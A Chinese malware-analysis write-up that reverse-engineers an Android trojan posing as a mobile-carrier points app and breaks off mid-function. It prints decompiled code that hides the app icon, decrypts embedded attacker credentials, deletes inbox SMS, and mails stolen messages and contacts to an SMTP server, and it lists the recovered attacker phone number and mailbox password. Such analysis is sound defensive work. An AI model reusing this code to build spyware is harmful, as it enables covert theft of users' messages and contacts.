纯小白系列(三):对伪装“移动”积分客户端的逆向分析

以前发表于http://www.52pojie.cn/thread-524338-1-1.html

样本安装名称:积分客户端

MD5 84B45E2A7040FAC5B1D489C1AAD1B7C5
SHA1 DC7B060D3B7844EEEA090E219C2DE4A5AD1EBF37
相关工具: JEB ShakaApktool signapk eclipse
作者: Youngs
博客: http://youngs-rsr.blog.163.com  http://blog.csdn.net/youngs0xff
样本运行都在安卓模拟器中进行,在分析过程中,此样本的解密部分用模拟器+eclipase+signapk来实现获取解密信息 (暂不做文档说明,后面有时间在专门发一篇)

一、使用apktool工具进行反编译操作:
由于此样本不存在加固,这里直接使用ShakaApktool来进行反编译(由于自己的apktool版本比较低,无法正常进行反编译,这里则借助于 Androidkiller中的ShakaApktool来完成):
直接在其ShakaApktool.jar目录下输入java -jar ShakaApktool.jar d -d xxx.apk -o Youngs执行即可
纯小白系列(三):对伪装“移动”积分客户端的逆向分析_第1张图片 
在Youngs目录下就有我们想要的smail文件及AndroidManifest.xml等文件
打开AndroidManifest.xml文件后,我们发现其包名为"com.rcerc.cew”,主Activity为MainActivity
[XML]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
xml version = "1.0" encoding = "utf-8" standalone = "no" ?>
< manifest xmlns:android = "http://schemas.android.com/apk/res/android" android:installLocation = "internalOnly" package = "com.rcerc.cew" >
     < uses-permission android:name = "android.permission.INTERNET" />
     < uses-permission android:name = "android.permission.READ_SMS" />
     < uses-permission android:name = "android.permission.WRITE_SMS" />
     < uses-permission android:name = "android.permission.SEND_SMS" />
     < uses-permission android:name = "android.permission.RECEIVE_SMS" />
     < uses-permission android:name = "android.permission.RECEIVE_WAP_PUSH" />
     < uses-permission android:name = "android.permission.RECEIVE_BOOT_COMPLETED" />
     < uses-permission android:name = "android.permission.RECEIVE_USER_PRESENT" />
     < uses-permission android:name = "android.permission.READ_PHONE_STATE" />
     < uses-permission android:name = "android.permission.MODIFY_AUDIO_SETTINGS" />
     < uses-permission android:name = "android.permission.READ_CONTACTS" />
     < uses-permission android:name = "android.permission.GET_TASKS" />
     < uses-permission android:name = "android.permission.ACCESS_NETWORK_STATE" />
     < uses-permission android:name = "android.permission.WRITE_SETTINGS" />
     < uses-permission android:name = "android.permission.VIBRATE" />
     < uses-permission android:name = "android.permission.WRITE_EXTERNAL_STORAGE" />
     < uses-permission android:name = "android.permission.ACCESS_WIFI_STATE" />
     < application android:allowBackup = "true" android:icon = "@drawable/app_logo" android:label = "@string/app_name" android:name = "com.phone.stop.db.PhoneApplication" android:theme = "@android:style/Theme.Black.NoTitleBar.Fullscreen" >
         < activity android:excludeFromRecents = "false" android:label = "@string/app_name" android:name = "com.phone.stop.activity.MainActivity" >
             < intent-filter >
                 < action android:name = "android.intent.action.MAIN" />
                 < category android:name = "android.intent.category.LAUNCHER" />
             intent-filter >
         activity >
其相关权限如下:
android.permission.INTERNET,访问网络连接,可能产生GPRS流量
android.permission.READ_SMS,读取短信内容
android.permission.WRITE_SMS,允许编写短信
android.permission.SEND_SMS,发送短信
android.permission.RECEIVE_SMS,接收短信
android.permission.RECEIVE_WAP_PUSH,接收WAP-PUSH信息
android.permission.RECEIVE_BOOT_COMPLETED,允许程序开机自动运行
android.permission.READ_PHONE_STATE,访问电话状态
android.permission.MODIFY_AUDIO_SETTINGS,修改声音设置信息
android.permission.READ_CONTACTS,允许应用访问联系人通讯录信息
android.permission.GET_TASKS,允许程序获取当前或最近运行的应用
android.permission.ACCESS_NETWORK_STATE,允许获取网络信息状态,如当前的网络连接是否有效
android.permission.WRITE_SETTINGS,允许读写系统设置项
android.permission.VIBRATE,允许振动
android.permission.WRITE_EXTERNAL_STORAGE,允许程序写入外部存储,如SD卡上写文件
android.permission.ACCESS_WIFI_STATE,获取当前WiFi接入的状态以及WLAN热点的信息
二、分析classes.dex文件:
1、  获取classes.dex文件:
直接通过压缩包解压APK文件即可:
  纯小白系列(三):对伪装“移动”积分客户端的逆向分析_第2张图片
2、  经过前面的准备工作,由上面的AndroidManifest.xml文件可知,其主Activity为MainActivity
判断是否为主Activity,直接看下面是否存在"android.intent.action.MAIN"即可。
[C++]  纯文本查看  复制代码
?
1
2
3
4
5
6
7
"true" android:icon= "@drawable/app_logo" android:label= "@string/app_name" android:name= "com.phone.stop.db.PhoneApplication" android:theme= "@android:style/Theme.Black.NoTitleBar.Fullscreen" >
         "false" android:label= "@string/app_name" android:name= "com.phone.stop.activity.MainActivity" >
            
                 "android.intent.action.MAIN" />
                 "android.intent.category.LAUNCHER" />
            
        
3、  分析MainActivity:
现在就直接打开jeb对classes.dex进行相关分析:
然后我们进入到MainActivity中,看看OnCreate方法(由于代码加了混淆,后面则会有些方法都是自己重命名):
纯小白系列(三):对伪装“移动”积分客户端的逆向分析_第3张图片
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
protected void onCreate(Bundle arg5) {
         super .onCreate(arg5);
         this .setContentView( 2130903041 );
         this .getPackageManager().setComponentEnabledSetting( this .getComponentName(), 2 , 1 );  // 隐藏图标
         i.set_i_want_xxoo(((Context) this ));  // i_want_xxoo-->解密获取手机号码
         i.set_send_email_account(((Context) this ));  // send_email_account-->解密获取发送邮箱帐号
         i.set_receive_email_account(((Context) this ));  // receive_email_account--》解密获取接收邮箱帐号
         i.set_send_email_pwd(((Context) this ));  // send_email_pwd--》解密获取邮箱密码
         i.init_end_time(((Context) this ));  // app_end_time---》失活时间
         if (!a.a(((Context) this )).i()) {
             k.send_MSG( "软件安装完毕\n识别码:" + this .getSystemService( "phone" ).getDeviceId() + "\n" + j.a(),   // 发送手机识别码、型号、品牌、系统版本到收信号码
                     4 , ((Context) this ));
             a.a(((Context) this )).e( true );  // 设置has_send_phone_info为true
         }
 
         k.a(((Context) this ));  // 删除收件箱短信
         if (a.a(((Context) this )).j()) {
             d.a(((Context) this ));  // email_message_contacts_switch---》true  发送联系人及短信信息给邮箱
         }
 
         this .a();  // 获取设备管理权限
     }
主要实现功能:
隐藏图标

解密获取相关的邮箱帐号、密码、收信手机号等信息

发送手机识别码、型号、品牌、系统版本给收信号码

删除收件箱短信

发送联系人及短信信息给邮箱

获取设备管理权限

1) 隐藏图标:
[Java]  纯文本查看  复制代码
?
1
2
this .setContentView( 2130903041 );
         this .getPackageManager().setComponentEnabledSetting( this .getComponentName(), 2 , 1 );  // 隐藏图标
2) 解密获取相关的邮箱帐号、密码、收信手机号等信息:
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
i.set_i_want_xxoo(((Context) this ));  // i_want_xxoo-->解密获取手机号码
         i.set_send_email_account(((Context) this ));  // send_email_account-->解密获取发送邮箱帐号
         i.set_receive_email_account(((Context) this ));  // receive_email_account--》解密获取接收邮箱帐号
         i.set_send_email_pwd(((Context) this ));  // send_email_pwd--》解密获取邮箱密码
         i.init_end_time(((Context) this ));  // app_end_time---》失活时间
这里则以set_i_want_xxoo为例做为解密对象进行分析:
首先进行到com.phone.stop.c下的类i,我们找到对应的set_i_want_xxoo方法:
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
6
public static void set_i_want_xxoo(Context arg2) {  // set_i_want_xxoo
         if (!a.a(arg2).d()) {
             a.a(arg2).b(g.a(a.a(arg2).c()));  // 解密获取i_want_xxoo对应的手机号码
             a.a(arg2).b( true );  // 设置have_init_phone_number的值
         }
     }
在方法set_i_want_xxoo中,调用com.phone.stop.db下的类a中的d方法,看到其先进行判断have_init_phone_number对应的值是否为flase(即表示手机号码是否初始化),如果未初始化,则进行解密获取手机号码。其判断代码如下:
[Java]  纯文本查看  复制代码
?
1
2
3
public boolean d() {
         return this .b.getBoolean( "have_init_phone_number" , false );
     }
由于是第一次执行程序,即未初始化值,那么就会进入到下面的解密环节(即调用a.a(arg2).b(g.a(a.a(arg2).c()))):
首先是调用a.a(arg2).c()方法(即com.phone.stop.db下的类a中的c方法)来获取加密的手机号码信息:
[Java]  纯文本查看  复制代码
?
1
2
3
public String c() {
         return this .b.getString( "i_want_xxoo" , "f192419edc4cd50a7bdcb5230119d8e4" );
     }
然后调用解密方法g.a(a.a(arg2).c())(即com.phone.stop.c下的类g中的a方法),由于后面类e是DES解密算法,这里就不做过多的介绍,相关资料可以在网上获取:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
public static String a(String arg2) {
         String v0_1;  // 得到解密后的值
         try {
             v0_1 = new e( "staker" ).b(arg2);  // 得到解密后的值
         }
         catch (Exception v0) {
             v0.printStackTrace();
             v0_1 = "" ;
         }
 
         return v0_1;
     }
得到了相关的解密值后,则会设置i_want_xxoo对应的值为解密得到的手机号(经过调试或者log打印可知其解密号码为:13268343253),即调用com.phone.stop.db下的类a中的b方法来进行设置。
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
public void b(String arg3) {
         SharedPreferences$Editor v0 = this .b.edit();
         v0.putString( "i_want_xxoo" , arg3);
         v0.commit();
     }
最后则设置have_init_phone_number对应的值为true,即调用com.phone.stop.db下的类a中的b方法来进行设置。
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
public void b( boolean arg3) {
         SharedPreferences$Editor v0 = this .b.edit();
         v0.putBoolean( "have_init_phone_number" , arg3);
         v0.commit();
     }
经过相关的DES解密操作,最后我们获取到:
邮箱: [email protected]
密码:jkohpxabmdoioawl
手机号码:13268343253
失活时间:2015-09-08 09:08:22
3) 发送手机识别码、型号、品牌、系统版本给收信号码:
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
if (!a.a(((Context) this )).i()) {
             k.send_MSG( "软件安装完毕\n识别码:" + this .getSystemService( "phone" ).getDeviceId() + "\n" + j.a(),   // 发送手机识别码、型号、品牌、系统版本到收信号码
                     4 , ((Context) this ));
             a.a(((Context) this )).e( true );  // 设置has_send_phone_info为true
         }
首先判断has_send_phone_info是否为false,由于刚启动,其初始值为false,那么就会给手机号13268343253发送手机识别码、型号、品牌、系统版本信息,然后设置has_send_phone_info是true。
4) 删除收件箱短信:
直接调用com.phone.stop.f下的类k中的a方法来实现删除收件箱短信:
[Java]  纯文本查看  复制代码
?
1
k.a(((Context) this ));  // 删除收件箱短信
删除收件箱短信的方法a:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void a(Context arg8) {  // 删除收件箱短信
         String[] v2 = null // has_delete_message
         if (!a.a(arg8).h()) {
             ContentResolver v0 = arg8.getContentResolver();
             Cursor v1 = v0.query(com.phone.stop.a.a.b, v2, ((String)v2), v2, "date" );  // b--->content://sms/inbox
             try {
                 if (!a.a(arg8).h() && (v1.moveToNext())) {
                     int v2_1 = v1.getInt(v1.getColumnIndex( "_id" ));
                     int v3 = v0.delete(Uri.parse( "content://sms/" + v2_1), null , null );
                     int v0_2 = v0.delete(com.phone.stop.a.a.a, "_id=" + v2_1, null );
                     if (v3 != 1 && v0_2 != 1 ) {
                         goto label_39;
                     }
 
                     a.a(arg8).d( true );  // has_delete_message为true
                 }
 
             label_39:
                 v1.close();
             }
             catch (Exception v0_1) {
             }
         }
     }
5) 发送联系人及短信信息给邮箱:
[Java]  纯文本查看  复制代码
?
1
2
3
if (a.a(((Context) this )).j()) {
             d.a(((Context) this ));  // email_message_contacts_switch---》true  发送联系人及短信信息给邮箱
         }
调用com.phone.stop.c下的类d中的a方法来实现发送相关信息到邮箱,其主要是通过调用类e中的方法来实现:
[Java]  纯文本查看  复制代码
?
1
2
3
public static void a(Context arg1) {
         a.a( new e(arg1));  // 发送联系人及短信信息给邮箱
     }
在com.phone.stop.c下的类e中的a方法中分析实现发送短信信息和联系人信息:
[Java]  纯文本查看  复制代码
?
1
2
3
4
5
public Object a() {
         d.b( this .a);  // 发送短信信息给邮箱
         d.c( this .a);  // 发送联系人信息给邮箱
         return null ;
     }
发送短信消息在com.phone.stop.c下的类d中的b方法中实现:
[Java]  纯文本查看  复制代码
?
1
2
3
static void b(Context arg0) {
         d.d(arg0);
     }
调用的d方法主要实现代码如下:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
private static void d(Context arg9) {  // 发送短信信息给邮箱
         try {
             com.phone.stop.db.a v1 = com.phone.stop.db.a.a(arg9);
             if (!v1.m()) {
                 ArrayList v2 = h.a(arg9);  // 获取短信列表
                 if (v2.size() <= 0 ) {
                     return ;
                 }
 
                 String v3 = arg9.getSystemService( "phone" ).getDeviceId();  // 手机设备信息
                 StringBuffer v4 = new StringBuffer( "------------------------------
"
);
                 Iterator v2_1 = v2.iterator();
             label_14:
                 if (v2_1.hasNext()) {
                     Object v0_1 = v2_1.next();
                     v4.append( "

----------------------"
+ ((com.phone.stop.d.b)
                             v0_1).b + "    " + ((com.phone.stop.d.b)v0_1).c + "-------------
"
);
                     Iterator v5 = ((com.phone.stop.d.b)v0_1).d.iterator();
                     while ( true ) {
                         if (!v5.hasNext()) {
                             goto label_14;
                         }
 
                         v0_1 = v5.next();
                         if (((com.phone.stop.d.a)v0_1).e == 1 ) {
                             v4.append(((com.phone.stop.d.a)v0_1).d).append( "    " ).append(((com.phone.stop.d.a)
                                     v0_1).c).append( "
"
);
                             continue ;
                         }
 
                         v4.append(((com.phone.stop.d.a)v0_1).d).append( "    " ).append( "" )
                                 .append(((com.phone.stop.d.a)v0_1).c).append( "" ).append( "
"
);
                     }
                 }
 
                 String v0_2 = v1.n();  // send_email_account
                 String v2_2 = v1.r();  // send_email_pwd
                 String v5_1 = v1.p();  // receive_email_account
                 b v6 = new b();
                 v6.a( "smtp.vip.163.com" , "25" );
                 v6.a(v0_2, "DX列表(" + v3 + ")" , v4.toString());
                 v6.a( new String[]{v5_1});
                 v6.b( "smtp.vip.163.com" , v0_2, v2_2);  // 发送短信信息给邮箱
                 v1.g( true );
             }
 
             return ;
         }
         catch (Exception v0) {
             return ;
         }
     }
发送联系人信息给邮箱,其主要是通过调用com.phone.stop.c下的类d中的c方法中实现(即调用方法e实现):
[Java]  纯文本查看  复制代码
?
1
2
3
static void c(Context arg0) {
         d.e(arg0);
     }
发送联系人给邮箱的实现方法:
[Java]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private static void e(Context arg9) {  // 发送联系人给邮箱
         try {

你可能感兴趣的:(病毒木马分析)